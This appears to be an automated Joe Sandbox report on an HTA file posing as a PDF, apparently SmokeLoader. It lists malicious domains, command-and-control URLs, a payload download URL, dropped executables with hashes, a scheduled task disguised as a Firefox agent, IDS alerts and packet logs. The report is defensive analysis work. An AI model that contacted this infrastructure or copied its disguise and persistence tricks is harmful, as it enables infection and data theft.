DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3388.PDF.hta	2%	Virustotal		Browse
3388.PDF.hta	3%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\vgjfftu	100%	Avira	HEUR/AGEN.1312567
C:\Users\user\AppData\Local\Temp\EkXH.exe	100%	Avira	HEUR/AGEN.1312567
C:\Users\user\AppData\Roaming\vgjfftu	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EkXH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EkXH.exe	36%	Virustotal		Browse
C:\Users\user\AppData\Roaming\vgjfftu	36%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
unicexpertmagazine.pw	9%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://java.sun.com	0%	Virustotal		Browse
http://informcoopirationunicolceo.ru/index.php	0%	Virustotal		Browse
http://www.pgdp.net	0%	Virustotal		Browse
http://www.piriform.com/ccleaner	0%	Virustotal		Browse
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	0%	Virustotal		Browse
http://openclehardware.ru/index.php	0%	Virustotal		Browse
http://www.autoitscript.com/autoit3	0%	Virustotal		Browse
http://ceoconstractionstore.pl/index.php	0%	Virustotal		Browse
http://ukr-net-filesrever.pw/download/svc.exe	6%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ukr-net-filesrever.pw	185.219.7.204	true	true		unknown
unicexpertmagazine.pw	185.219.7.204	true	true	9%, Virustotal, Browse	unknown
openclehardware.ru	unknown	unknown	true		unknown
informcoopirationunicolceo.ru	unknown	unknown	true		unknown
ceoconstractionstore.pl	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://informcoopirationunicolceo.ru/index.php	true	0%, Virustotal, Browse	unknown
http://openclehardware.ru/index.php	true	0%, Virustotal, Browse	unknown
http://ukr-net-filesrever.pw/download/svc.exe	true	6%, Virustotal, Browse	unknown
http://ceoconstractionstore.pl/index.php	true	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://java.sun.com	explorer.exe, 00000005.00000000.404961446.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.piriform.com/ccleanerxe	explorer.exe, 00000005.00000000.405400637.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.395989011.0000000003939000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 00000005.00000000.405739079.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.406299609.0000000007902000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.405400637.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/	powershell.exe, 00000001.00000002.395989011.0000000003939000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.395989011.0000000003939000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ukr-net-filesrever.pw	powershell.exe, 00000001.00000002.392682461.0000000002B92000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.392682461.0000000002BA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.392682461.0000000002BA4000.00000004.00000800.00020000.00000000.sdmp	true		unknown
http://www.pgdp.net	3388.PDF.hta	false	0%, Virustotal, Browse	unknown
https://contoso.com/License	powershell.exe, 00000001.00000002.395989011.0000000003939000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com0	explorer.exe, 00000005.00000000.405597987.0000000003B98000.00000004.00000010.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000001.00000002.395989011.0000000003939000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.piriform.com/ccleaner	explorer.exe, 00000005.00000000.405739079.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.406299609.0000000007902000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.405400637.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.autoitscript.com/autoit3	explorer.exe, 00000005.00000000.404961446.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://support.mozilla.org	explorer.exe, 00000005.00000000.404961446.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.392682461.0000000002911000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.219.7.204	ukr-net-filesrever.pw	Russian Federation		202514	IT-KMEIT	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524029
Start date and time:	2024-10-02 12:24:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3388.PDF.hta renamed because original name is a hash value
Original Sample Name:	_011024_i_01_10_2024___UA973248410000000026006263388.PDF.hta
Detection:	MAL
Classification:	mal100.troj.evad.winHTA@8/6@24/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 45 Number of non-executed functions: 20
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target powershell.exe, PID 3612 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:25:55	Task Scheduler	Run new task: Firefox Default Browser Agent 0ABE0D3C6E862C79 path: C:\Users\user\AppData\Roaming\vgjfftu
06:25:06	API Interceptor	49x Sleep call for process: mshta.exe modified
06:25:07	API Interceptor	13x Sleep call for process: powershell.exe modified
06:25:44	API Interceptor	144109x Sleep call for process: explorer.exe modified
06:25:55	API Interceptor	153x Sleep call for process: taskeng.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.219.7.204	http://vpnpaloalto.com	Get hash	malicious	Unknown	Browse	vpnpaloalto.com/favicon.ico

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
unicexpertmagazine.pw	3312.PDF.scr	Get hash	malicious	SmokeLoader	Browse	45.143.201.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
IT-KMEIT	http://vpnpaloalto.com	Get hash	malicious	Unknown	Browse	185.219.7.204

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.834060479684549
Encrypted:	false
SSDEEP:	96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
MD5:	838C1F472806CF4BA2A9EC49C27C2847
SHA1:	D1C63579585C4740956B099697C74AD3E7C89751
SHA-256:	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
SHA-512:	E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\3whyeuor.ju0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Local\Temp\EkXH.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	222720
Entropy (8bit):	6.497652873737398
Encrypted:	false
SSDEEP:	3072:cCLQUfn8SJGo/zUYkkf0ivpXYXgNTe58xVSlh+jMAEqLJwp:cCL3fnNMEzUpkbvpIMjMAcp
MD5:	31059E7394B880F017E83804D9B716AB
SHA1:	2C0057C276D7D2020D1E5A60CA6D44E2FB91674E
SHA-256:	F488B4EB65D5F5339401FC0869E614433719E64A5156945B530F98C7D39452E1
SHA-512:	A31E40888FC80CE8E138833155A63EDDC7EA9D4A37BCEB95A46E2CE937E42DFC74DF34FC9869F95940EE0F73D00F3A72839F220F09499B4F28AA1B91E5B706F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 36%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........IB...B...B...\...^...\...Q...\.......eu..E...B...2...\...C...\...C...\...C...RichB...........................PE..L....`Ie.....................d....................@.........................................................................D...P....P.....................................................X........................................................text....~.......................... ..`.rdata.." ......."..................@..@.data...............................@....tls.........@......................@....rsrc.......P......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\l3kmxnno.s0e.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\vgjfftu

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	222720
Entropy (8bit):	6.497652873737398
Encrypted:	false
SSDEEP:	3072:cCLQUfn8SJGo/zUYkkf0ivpXYXgNTe58xVSlh+jMAEqLJwp:cCL3fnNMEzUpkbvpIMjMAcp
MD5:	31059E7394B880F017E83804D9B716AB
SHA1:	2C0057C276D7D2020D1E5A60CA6D44E2FB91674E
SHA-256:	F488B4EB65D5F5339401FC0869E614433719E64A5156945B530F98C7D39452E1
SHA-512:	A31E40888FC80CE8E138833155A63EDDC7EA9D4A37BCEB95A46E2CE937E42DFC74DF34FC9869F95940EE0F73D00F3A72839F220F09499B4F28AA1B91E5B706F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 36%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........IB...B...B...\...^...\...Q...\.......eu..E...B...2...\...C...\...C...\...C...RichB...........................PE..L....`Ie.....................d....................@.........................................................................D...P....P.....................................................X........................................................text....~.......................... ..`.rdata.." ......."..................@..@.data...............................@....tls.........@......................@....rsrc.......P......................@..@........................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 text, with CRLF line terminators
Entropy (8bit):	4.440416257902537
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	3388.PDF.hta
File size:	4'178'844 bytes
MD5:	35ef7b98b8eabb06a41f4b0cecace704
SHA1:	5668a7317fb91f8be783ff93289dad41d5ea6108
SHA256:	c40dff83b1bb399b942ba22b7d03be530e35a04d9e0862789efada5896cd7eb6
SHA512:	707a841b9f3c07ce26a794715060fff864350077b278ba6b06986c60d361abf15d105806c4d1f3cfc0e5457a667f0040d7178e4127c64ba4983d28f149a83d89
SSDEEP:	49152:3ZbHJ64hUxKCXowzQU0rGIQo3qOh/KGld4UTI/wjVc1kVAkLGxgfOSQxZbHJ64hu:H
TLSH:	5516A327B3C513360EA21255A20EB5E9F3198078277782A0789EC53D3646C7CD7BA7F9
File Content Preview:	..<html>..The Project Gutenberg eBook of The History of Rome, Books 01 to 08.. ..This ebook is for the use of anyone anywhere in the United States and..most other parts of the world at no cost and with almost no restrictions..whatsoever. You may copy i

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-02T12:25:20.716931+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.22	49161	185.219.7.204	80	TCP
2024-10-02T12:25:57.550656+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.22	49162	185.219.7.204	80	TCP
2024-10-02T12:27:08.805485+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.22	49163	185.219.7.204	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 12:25:10.294831991 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:10.300501108 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:10.300573111 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:10.301162958 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:10.306240082 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:20.716655970 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:20.716855049 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:20.716869116 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:20.716931105 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:20.717072964 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:20.717091084 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:20.717108965 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:20.717133999 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:20.717159033 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:20.877479076 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:20.877532005 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:20.877605915 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:21.403520107 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.403785944 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.403804064 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.403836012 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:21.404949903 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.404966116 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.404983044 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.404994011 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:21.405025959 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:21.484613895 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.484767914 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.484781027 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.484818935 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:21.540855885 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.541011095 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:21.541047096 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.685133934 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.685307980 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:21.688833952 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.734797001 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.734860897 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:21.734970093 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.734987020 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.735027075 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:21.735312939 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:21.936184883 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.036287069 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.038830996 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.039047003 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.097628117 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.097742081 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.097758055 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.098035097 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.105581045 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.105598927 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.105659962 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.127648115 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.127804995 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.127839088 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.127960920 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.128138065 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.128170013 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.128194094 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.192351103 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.192670107 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.302977085 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.303003073 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.303020954 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.303283930 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.306322098 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.306371927 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.306406975 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.306555033 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.306555033 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.337409973 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.337821960 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.337853909 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.338028908 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.342111111 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.342140913 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.342331886 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.506783009 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.506856918 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.506975889 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.506992102 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.507050991 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.507430077 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.507447958 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.507462978 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.507572889 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.509759903 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.509777069 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.509792089 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.509807110 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.509819984 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.509850025 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.510241032 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.510258913 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.510312080 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.572691917 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.573055983 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.573072910 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.573227882 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.576951981 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.576968908 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.577052116 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.604070902 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.632873058 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.633090019 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.633105040 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.633209944 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.633209944 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.633460999 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.633507013 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.633564949 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.633810997 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.646323919 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.646411896 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.646413088 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.646426916 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.646568060 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.646949053 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.646962881 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.647025108 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.691314936 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.691657066 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.691673040 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.691951036 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:22.713437080 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.713510990 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.713527918 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:22.713912010 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.072988987 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.073116064 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.073301077 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.399710894 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.399790049 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.399799109 CEST	80	49161	185.219.7.204	192.168.2.22
Oct 2, 2024 12:25:23.399976969 CEST	49161	80	192.168.2.22	185.219.7.204
Oct 2, 2024 12:25:23.400176048 CEST	80	49161	185.219.7.204	192.168.2.22
